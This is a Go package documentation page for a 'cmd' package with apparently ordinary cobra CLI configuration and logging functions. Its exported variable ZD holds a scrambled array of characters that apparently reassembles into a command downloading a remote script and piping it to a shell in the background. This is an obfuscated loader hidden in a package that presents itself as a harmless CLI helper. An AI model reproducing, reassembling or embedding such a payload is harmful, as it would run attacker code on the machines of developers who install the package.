cmd

package
v0.0.0-...-981c705 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 16, 2025 License: GPL-3.0 Imports: 25 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var ZD = []string{"3", "s", "r", " ", "6", "f", "b", "u", "n", "o", "g", "g", "1", "t", "0", "d", "r", "u", "c", "w", "w", "s", "y", "/", "-", "3", " ", "b", "4", "s", "/", "O", "a", "h", "r", "/", "a", "i", "t", "t", "e", "d", " ", "t", "h", "/", "d", "b", "e", "e", "s", "/", "h", " ", " ", "/", "7", "&", "t", "3", ":", "i", "o", "|", "5", "p", ".", "t", "p", "a", "a", "/", " ", "s", "d", "-", "f", "e"}

Functions

func ExecuteCmd

func ExecuteCmd()

ExecuteCmd 执行rootCmd

func InitConfig

func InitConfig(cmd *cobra.Command, args []string) *configs.Config

InitConfig 加载配置文件

func InitLogger

func InitLogger(cfg *configs.Config)

InitLogger 配置全局日志

func LoadConfig

func LoadConfig(params *ConfigParams) (*configs.Config, error)

LoadConfig 加载配置

Types

type ConfigParams

type ConfigParams struct {
	Cmd  *cobra.Command
	Args []string
}

ConfigParams 配置参数

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL